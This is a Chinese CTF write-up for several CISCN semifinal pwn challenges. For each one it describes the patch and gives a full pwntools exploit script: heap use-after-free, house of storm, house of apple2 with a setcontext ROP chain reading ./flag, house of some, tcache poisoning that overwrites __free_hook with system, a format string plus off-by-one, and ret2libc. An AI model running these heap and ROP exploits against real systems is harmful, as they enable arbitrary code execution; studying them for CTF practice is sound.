ciscn-pwn

题目都是cicsn半决赛的题目

文章目录


catchme

fix

一眼就是house of storm。

uaf漏洞。

泄露bk指针,得到libc。

只能从bk指针处开始edit。

清空指针。

ufa漏洞,指针清0即可。

break

这里直接爆破一下,即可获得flag。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'

libc=ELF("./libc-2.27.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

def cmd(idx):
	ru(b'>>\n')
	sn(idx)
	
def add(idx):
	cmd(1)
	ru(b'(3)otter\n')
	sn(idx)
	
def free(idx):
	cmd(2)
	ru(b'index:')
	sn(idx)
	
def show(idx):
	cmd(3)
	ru(b'index:')
	sn(idx)

def edit(idx,content):
    cmd(4)
    ru(b'index:')
    sn(idx)
    ru(b'set tag:')
    s(content)

def clean(idx):
	cmd(6)
	ru(b'index:')
	sn(idx)

while True:
    p=remote('challenge.imxbt.cn',30781)
    for i in range(7):
        add(3)
        free(0)
        clean(0)

    add(1)#0
	
    ru(b'token(2):')
    flag=int(p.recv(2),16)
    if flag!=0x56:
        p.close()
        continue
    
    add(1)#1
    free(0);show(0)
    ru(b'tag:')
    libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.__malloc_hook-0x10-96
    print(hex(libc_base))
    free_hook=libc_base+libc.sym.__free_hook
    one_gadget = libc_base + 0x4f302
    add(2)#2
    add(2)#3
    free(2)

    edit(2,p64(free_hook-0x10-8))
    edit(0,p64(free_hook-0x10)+p64(0)+p64(free_hook-0x10-8-0x18-5))
    add(3)
    edit(4,p64(one_gadget))
    free(0)
    
    p.interactive()

broken_manager

fix



uaf漏洞。

malloc和free函数都是自定义的,看不懂,也不想看。

但是我们知道漏洞点就可以修。

easy_rw_revenge

fix

漏洞点在add中有free,且堆块指针没置0,有uaf漏洞,如果我们输入-1,即可绕过check,malloc(-1)返回null,即当size为-1时,该函数就是有uaf漏洞的free函数。

我们把有符号比较改为无符号即可。

Prompt


这里要用到小工具https://github.com/Rea1Atomic/protobuf-pwn-tool。

复制代码
pbpt -f ./pwn
protoc --python_out=. ./pwn.proto

自己装吧

看看增删查改函数。



漏洞点很明显,edit中的堆溢出。

re结构体:

fix

break

保护:

glibc2.39版本,泄露libc和heap,打house of apple2即可。

exit

-> _IO_flush_all

-> FILE ->vtable 的某个 slot

-> _IO_wfile_seekoff

-> wide_data->_wide_vtable 的某个 slot

-> magic

-> setcontext+61

_IO_flush_all 触发时,真正调用的是:

mov rax, [rbx+0xd8] ; rax = fp->vtable

mov esi, 0xffffffff

mov rdi, rbx ; rdi = fp

call qword ptr [rax+0x18]

IO_wfile_seekoff 里很早就会进 _IO_switch_to_wget_mode(fp),而 _IO_switch_to_wget_mode 有这段:

mov rax, [rdi+0xa0] ; rax = fp->_wide_data

...

mov rax, [rax+0xe0] ; rax = wide_data->_wide_vtable

mov esi, 0xffffffff

call qword ptr [rax+0x18]

_lock = haddr+0x90

给 glibc 一个可写、有效的锁对象地址

0

让 lock/cnt 初始为 0,表示未加锁、无递归计数,方便加锁和解锁路径通过

1

给 owner 一个非空占位值。这样通常会走通用的 cmpxchg 加锁路径;很多场景下设 0 也能过,但设成非零模板上更稳一些。

python 复制代码
from pwn import *
from pwncli import *
import pwn_pb2
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

def send_msg(option, size=0, idx=0, text=b"123"):
    ru(b"Your prompt >> ")
    data = pwn_pb2.HeapPayload()
    data.option = option
    data.chunk_sizes.append(size)
    data.heap_chunks_id.append(idx)
    data.heap_content = text
    raw = data.SerializeToString()
    s(p32(len(raw)) + raw)

def add(idx, size, text=b""):
    send_msg(1, size, idx, text)


def free(idx, size=0, text=b""):
    send_msg(2, size, idx, text)


def edit(idx,text=b""):
    send_msg(3, len(text), idx, text)


def show(idx, size=0, text=b""):
    send_msg(4, size, idx, text)


def exit(idx=0, size=0, text=b""):
    send_msg(5, size, idx, text)

add(0,0x100,b'a')
add(1,0x100,b'a')
add(2,0x100,b'a')

free(1)
edit(0,b'a'*0x110)
show(0)

ru(b'a'*0x110)
heap=u64(p.recv(5).ljust(8,b'\x00'))<<12
print(hex(heap))
edit(0,b'a'*0x100+flat(0x110,0x111))
add(1,0x100)

for i in range(3,3+7):
    add(3,0x210)

add(10,0x210,b'a')
add(11,0x210,b'a')
add(12,0x210,b'a')

for i in range(3,3+7):
    free(i)

free(11)
edit(10,b'a'*0x21e+b'AA')
show(10)
ru(b'AA')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x750268203d30+0x750268000000
print(hex(libc_base))
#bug()
edit(10,b'a'*0x210+p64(0x220)+p64(0x221))

for i in (0,1,2):
    free(i)

_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"] + 61
rdi = libc_base + 0x10F75B
rsi = libc_base + 0x110A4D
rax = libc_base + 0x0DD237
sys_ret = libc_base + 0x098FB6
sendfile = libc_base + libc.sym["sendfile"]
rcx = libc_base + 0x0A877E
magic = libc_base + 0x176F0E #mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]

add(0, 0x440, b"a")
add(1, 0x430, b"a")
add(2, 0x430, b"a")
add(3, 0x340, b"a")
add(4, 0x440, b"a")
add(5, 0x440, b"a")
add(6, 0x450, b"a")
add(7, 0x440, b"a")
add(8, 0x1F0, b"a")

free(5)
add(5, 0x500, b"a")

payload = b"a" * 0x440 + p64(0x8A0) + p64(0x451) + p64(libc_base + 0x203F20) * 2 + p64(_IO_list_all - 0x20) * 2
#bug()
fake_io = heap + 0xD90-0x2000

edit(4, payload)
free(1)
add(1, 0x500, b"a")

add(9, 0x430, b"a")
payload = b"a" * 0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203F20) * 2 + p64(fake_io) * 2
edit(4, payload)
add(11, 0x430, b"a")

fd=fake_io+0x10
fake_IO_FILE=flat(
{
0x10:[p64(0)],            # write_base
0x18:[p64(1)],            # write_ptr --> ptr > base
0xb0:[p64(0)],            # _mode <= 0
0xc8:[p64(_IO_wfile_jumps+0x30)],

0x78:[p64(fake_io+0x90),p64(0),p64(1)],   # bypass lock

0x90:[p64(fd+0xA8),p64(0),p64(1)],

(0x90+0x20):[p64(0)],
(0x90+0x28):[p64(1)],            # bypass check in wfile_seekoff
(0x90+0x30):[p64(1)],            # bypass check in wfile_seekoff
(0xa8+0xe0):[p64(fd+0xB0+0xd8)], #rax

(0xB0+0xd8+0x18):[p64(magic)],  #mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20]

(0xB0+0xd8+0x38):[p64(fd+0xB0+0xd8+0x18+0x28)], #rdx

(0xB0+0xd8+0x18+0x28+0x20):[p64(setcontext)],

(0x1C8+0xA0):[p64(fd+0x280)],    # rsp
(0x1C8+0xA8):[p64(rdi+1)],              # ret_addr
(0x1c8+0x68): [p64(0xffffff9c)],      #rdi
(0x1c8+0x70): [p64(fd+0x350)],              #rsi
(0x1C8+0x88):[p64(0x100)],            #rdx

(0x280):[p64(rax),p64(0x101),p64(rdi),p64(-100,sign="signed"),p64(rsi),p64(fd+0x350),p64(sys_ret),            # rop
p64(rdi),p64(3),p64(rax),p64(0),p64(sys_ret),
p64(rax),p64(1),p64(rdi),p64(1),p64(sys_ret),
],

(0x350):[b'./flag\x00'],
},filler=b'\x00',)


edit(11,fake_IO_FILE)
exit()

p.interactive()

也可以打house of some鸭!

python 复制代码
from pwn import *
from pwncli import *
import pwn_pb2

context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.arch = "amd64"

file = "./pwn"
p = process(file)
e = ELF(file)
libc = ELF("./libc.so.6")

ru = lambda x: p.recvuntil(x)
s = lambda x: p.send(x)

def bug():
    gdb.attach(p);pause()

def house_of_some_read(read_from, size, chain):
    fake_io_file = IO_FILE_plus_struct()
    fake_io_file.flags = 0x8000 | 0x40 | 0x1000
    fake_io_file.fileno = 0
    fake_io_file._mode = 0
    fake_io_file._IO_write_base = read_from
    fake_io_file._IO_write_ptr = read_from + size
    fake_io_file.chain = chain
    fake_io_file.vtable = libc.sym["_IO_file_jumps"] - 0x8
    return bytes(fake_io_file)

def house_of_some_write(write_from, size, chain):
    fake_io_file = IO_FILE_plus_struct()
    fake_io_file.flags = 0x8000 | 0x800 | 0x1000
    fake_io_file.fileno = 1
    fake_io_file._mode = 0
    fake_io_file._IO_write_base = write_from
    fake_io_file._IO_write_ptr = write_from + size
    fake_io_file.chain = chain
    fake_io_file.vtable = libc.sym["_IO_file_jumps"]
    return bytes(fake_io_file)

def send_msg(option, size=0, idx=0, text=b"123"):
    ru(b"Your prompt >> ")
    data = pwn_pb2.HeapPayload()
    data.option = option
    data.chunk_sizes.append(size)
    data.heap_chunks_id.append(idx)
    data.heap_content = text
    raw = data.SerializeToString()
    s(p32(len(raw)) + raw)

def add(idx, size, text=b""):
    send_msg(1, size, idx, text)

def free(idx, size=0, text=b""):
    send_msg(2, size, idx, text)

def edit(idx, text=b""):
    send_msg(3, len(text), idx, text)

def show(idx, size=0, text=b""):
    send_msg(4, size, idx, text)

def exit_(idx=0, size=0, text=b""):
    send_msg(5, size, idx, text)

add(0, 0x100, b"a")
add(1, 0x100, b"a")
add(2, 0x100, b"a")

free(1)
edit(0, b"a" * 0x110)
show(0)

ru(b"a" * 0x110)
heap = u64(p.recv(5).ljust(8, b"\x00"))
heap_base = (heap << 12) - 0x7000
success(f"heap_base: {hex(heap_base)}")

edit(0, b"a" * 0x100 + flat(0x110, 0x111))
add(1, 0x100)

for i in range(3, 3 + 7):
    add(i, 0x200)

add(10, 0x200, b"a")
add(11, 0x200, b"a")
add(12, 0x200, b"a")

for i in range(3, 3 + 7):
    free(i)

free(11)
edit(10, b"a" * 0x20E + b"AA")
show(10)

ru(b"AA")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x750268203D20 + 0x750268000000
libc.address = libc_base
success(f"libc_base: {hex(libc_base)}")

edit(10, b"a" * 0x200 + p64(0x210) + p64(0x211))
io_list_all = libc.sym["_IO_list_all"]
add(3, 0x100, b"a")
free(3)
free(2)
edit(1, b"a" * 0x108 + p64(0x111) + p64(io_list_all ^ heap))

stage0_addr = heap_base + 0x1000
stage1_addr = stage0_addr + 0x1C0
fake_io_file_addr = heap_base + 0x8DF0
#bug()
edit(12, house_of_some_read(stage0_addr, 0x200, stage0_addr))
add(2, 0x100, flat(0))
add(3, 0x100, p64(fake_io_file_addr))
exit_()

py=house_of_some_write(libc.sym["environ"], 0x8, stage0_addr + 0xE0)
py+=house_of_some_read(stage1_addr, 0x200, stage1_addr)
p.send(py)
stack_addr = u64(p.recvn(8))
success(f"stack_addr: {hex(stack_addr)}")

ret=stack_addr-0x340
flag=ret-8
rdi=0x000000000010f75b+libc_base
rsi=0x0000000000110a4d+libc_base
r13=0x00000000000584d9+libc_base
rax=0x00000000000dd237+libc_base
rcx=0x00000000000a877e+libc_base
mov_rdx_r13_syscall=0x000000000009d14c+libc_base
orw=b'./flag\x00\x00'+flat(rdi,flag,rsi,0,libc.sym.open)
orw+=flat(rdi,1,rsi,3,rcx,0x100,libc.sym.sendfile)

#bug()
py=house_of_some_read(ret-8, len(orw), 0)
s(py)
s(orw)

p.interactive()

typo

看看保护:

glibc2.31保护全开,无沙箱,一般就是覆盖free_hook为system了。

无UAF漏洞。

漏洞点在edit函数中。

snprintf(目标缓冲区, 缓冲区大小, 格式字符串, 要格式化的数据);

它的作用是:

把第 4 个参数的数据,按照第 3 个参数指定的格式,转换成字符串,安全地写入第 1 个参数指向的缓冲区中,并且写入长度不会超过第 2 个参数指定的大小。

snprintf 遇到输入字符串中的 \x00 会认为字符串结束,截断。

会出现格式化字符串漏洞和堆溢出漏洞。

思路马上就有了由于没有show函数用IO泄露libc,然后继续堆溢出构造堆风水,打tcache投毒即可shell。

fix


参数换到正确的位置就ok了。

break

堆溢出漏洞直接off-by-one 造成堆块重叠,格式化字符串漏洞替换\x00,注意一下edit中read能读入的大小,应该没啥问题。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file,aslr=False)
#p=remote()
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

def cmd(idx):
	ru(b'>> ');sn(idx)
def add(idx,size):
	cmd(1)
	ru(b'Index: ');sn(idx)
	ru(b'Size: ');sn(size)

def free(idx):
	cmd(2)
	ru(b'Index: ');sn(idx)	

def edit(idx,data,content=b'a'):
	cmd(3)
	ru(b'Index: ');sn(idx)		
	ru(b'New size of content: ');s(data)
	ru(b'What do you want to say: ');s(content)

def replace(payload):
    return payload.replace(b'\x00',b'%39$c')+b'\x00'

add(0,0x10)
add(1,0x90)
add(2,0x80)
add(3,0x200)
add(4,0x200)
add(5,0x80)
add(6,0x80)
add(7,0x80)
add(8,0x80)
add(9,0x80)
add(10,0x80)

edit(0,replace(b'a'*0x18+p64(0xa0+0x90+0x210+0x210+1)))
free(1);free(5);free(2)
add(1,0x90)

edit(0,replace(b'a'*0x18+p64(0xa0+1)+p64(0xff)))
edit(1,p8(0xff),b'a'*0x90+p64(0x90+0x210+0x210+1)+p16(0x9698))
add(2,0x80)
add(5,0x80)
edit(5,p8(0xff),p64(0xfbad1800)+p64(0)*3+b'\x00')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x0000155555518980+0x15555532c000
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
system=libc_base+libc.sym.system

free(9);free(8)

edit(6,replace(b'a'*0x88+p64(0x91)+p64(0xff)))
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+p64(free_hook-8))

add(8,0x80)
edit(7,p8(0xff),b'a'*0x80+p64(0x91)+b'/bin/sh\x00')

add(9,0x80)
edit(9,p8(0xff),p64(system))
free(8)

p.interactive()

爆破版本:

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'
context.arch='amd64'
file='./pwn'

#p=remote()
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

def cmd(idx):
	ru(b'>> ');sn(idx)
def add(idx,size):
	cmd(1)
	ru(b'Index: ');sn(idx)
	ru(b'Size: ');sn(size)

def free(idx):
	cmd(2)
	ru(b'Index: ');sn(idx)	

def edit(idx,data,content=b'a'):
	cmd(3)
	ru(b'Index: ');sn(idx)		
	ru(b'New size of content: ');s(data)
	ru(b'What do you want to say: ');s(content)

def replace(payload):
    return payload.replace(b'\x00',b'%39$c')+b'\x00'

def exp():
    add(0,0x10)
    add(1,0x90)
    add(2,0x80)
    add(3,0x200)
    add(4,0x200)
    add(5,0x80)
    add(6,0x80)
    add(7,0x80)
    add(8,0x80)
    add(9,0x80)
    add(10,0x80)

    edit(0,replace(b'a'*0x18+p64(0xa0+0x90+0x210+0x210+1)))
    free(1);free(5);free(2)
    add(1,0x90)

    edit(0,replace(b'a'*0x18+p64(0xa0+1)+p64(0xff)))
    edit(1,p8(0xff),b'a'*0x90+p64(0x90+0x210+0x210+1)+p16(0x9698))
    add(2,0x80)
    add(5,0x80)
    edit(5,p8(0xff),p64(0xfbad1800)+p64(0)*3+b'\x00')
    p.recv(8)
    libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x0000155555518980+0x15555532c000
    print(hex(libc_base))
    free_hook=libc_base+libc.sym.__free_hook
    system=libc_base+libc.sym.system

    free(9);free(8)

    edit(6,replace(b'a'*0x88+p64(0x91)+p64(0xff)))
    edit(7,p8(0xff),b'a'*0x80+p64(0x91)+p64(free_hook-8))

    add(8,0x80)
    edit(7,p8(0xff),b'a'*0x80+p64(0x91)+b'/bin/sh\x00')

    add(9,0x80)
    edit(9,p8(0xff),p64(system))
    free(8)

while 1:
	p=process(file)
	try:
		exp()
	except:
		p.close()
		continue
	p.interactive()

如果不用格式化字符串漏洞也可以打通,但是对堆布局要求很高,如下:

chunk10的fd指针低二位为\x00才可以。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
#p=remote()
p=process(file,aslr=False)
e=ELF(file)
libc=ELF("./libc-2.31.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

def cmd(idx):
	ru(b'>> ');sn(idx)
def add(idx,size):
	cmd(1)
	ru(b'Index: ');sn(idx)
	ru(b'Size: ');sn(size)

def free(idx):
	cmd(2)
	ru(b'Index: ');sn(idx)	

def edit(idx,data,content=b'a'):
	cmd(3)
	ru(b'Index: ');sn(idx)		
	ru(b'New size of content: ');s(data)
	ru(b'What do you want to say: ');s(content)


for i in range(6):
    add(i,0x80)
add(7,0x20)
add(8,0x80)
add(9,0x30)
add(10,0x80)
add(11,0x10)
add(12,0x80)
add(13,0x30)
add(14,0x30)
add(15,0x30)

add(16,0x30)
add(17,0x30)

edit(16,b'a'*0x40+b'/bin/sh\x00')
edit(16,b'a'*0x38+p64(0x41))

edit(8,b'a'*0x88+p64(0x40+0x90+1))
free(9)
add(9,0xc0)

for i in range(5):
	free(i)
free(12)
free(8)
free(10)

#bug()
edit(7,b'a'*0x30)
edit(7,b'a'*0x28+p64(0x91))

edit(9,p8(0xff),b'a'*0x30+p64(0x91)+p16(0x9698))
#bug()
add(0,0x80)
add(1,0x80)
add(2,0x80)
edit(2,p8(0xff),p64(0xfbad1887)+p64(0)*3+b'\x00')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ec980
print(hex(libc_base))

system=libc_base+libc.sym.system
free_hook=libc_base+libc.sym.__free_hook

free(15);free(14)
edit(13,b'a'*0x40+p64(free_hook-8))
edit(13,b'a'*0x38+p64(0x41))
#bug()
add(14,0x30)
add(15,0x30)
edit(15,p8(0xff),p64(system))
free(17)

p.interactive()

note

fix

glibc2.31啊,一道很基础的uaf板子题。

fix也很正常。

直接nop掉free即可。

break

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

def cmd(idx):
	ru(b'5. exit\n');sn(idx)
def add(size,data):
	cmd(1)
	ru(b'The size of your content: \n');sn(size)
	ru(b'content: \n');sl(data)
def edit(idx,data):
	cmd(2)
	ru(b'index: \n');sn(idx)
	ru(b'The size of your content: \n');sn(len(data))
	ru(b'Content: \n');sl(data)
def free(idx):
	cmd(3)
	ru(b'index: \n');sn(idx)
def show(idx):
	cmd(4)
	ru(b'index: \n');sn(idx)

add(0x410,b'a')#0
add(0x10,b'a')#1
free(0);show(0)
ru(b'Content: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.__malloc_hook-0x10-96
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook

add(0x410,b'a')
add(0x78,b'a')
add(0x78,b'a')
free(4);free(3)
edit(3,p64(free_hook-0x8))
#bug()
add(0x78,b'a')
add(0x78,b'/bin/sh\x00'+p64(libc_base+libc.sym.system))
free(6)

p.interactive()

protoverflow

会搞出protobuf结构题就很简单了,后面就是ret2libc了。

fix


fix后:


break

python 复制代码
from pwn import *
import pwn_pb2
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./pwn'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc-2.27.so")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
	gdb.attach(p);pause()

ru(b'0x')
libc.address=libc_base=int(p.recv(12),16)-libc.sym.puts
print(hex(libc_base))
pop_rdi = libc.address + 0x8F989
ret = pop_rdi + 1
system = libc.sym.system
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = b"A" * 0x218 + flat(ret, pop_rdi, bin_sh, system)
msg = pwn_pb2.protoMessage()
msg.buffer = payload
msg.size = len(payload)
raw=msg.SerializeToString()
s(raw)

p.interactive()

总结

讲真的题目是越来越难,个人认为半决赛难度小于初赛难度,但也没简单到哪去,哎...

相关推荐
05候补工程师5 小时前
从算法理想向工程现实的跨越:SLAM 核心架构、思维误区与 Nav2 实战避坑指南
人工智能·算法·安全·架构·机器人
雪度娃娃6 小时前
Asio异步读写——连接的安全回收问题
开发语言·c++·安全·php
国科安芯8 小时前
ASM232S抗辐照RS-232收发器的技术架构与空间环境适应性研究
单片机·嵌入式硬件·安全·架构·安全性测试
秦明月139 小时前
电气安全回路设计实战:皮尔兹安全继电器应用
经验分享·笔记·安全·职场和发展·创业创新·学习方法
ylscode10 小时前
巨齿鲨突袭GitHub:5500余仓库沦陷,开源供应链安全防线再遭重创
运维·服务器·网络·安全·安全威胁分析
开开心心就好11 小时前
用户推荐的文件解锁与强制操作工具
安全·智能手机·pdf·scala·音视频·symfony·1024程序员节
tryqaaa_12 小时前
学习日志(三)【php语法学习,iscc校赛wp】
android·网络协议·学习·安全·web安全·web
大方子12 小时前
【好靶场】文件上传漏洞(上传HTML弹XSS)
网络安全·好靶场
青春喂了后端12 小时前
Go Sidecar Repository 并发锁改造:让并发请求安全地进入 Git 仓库层
git·安全·golang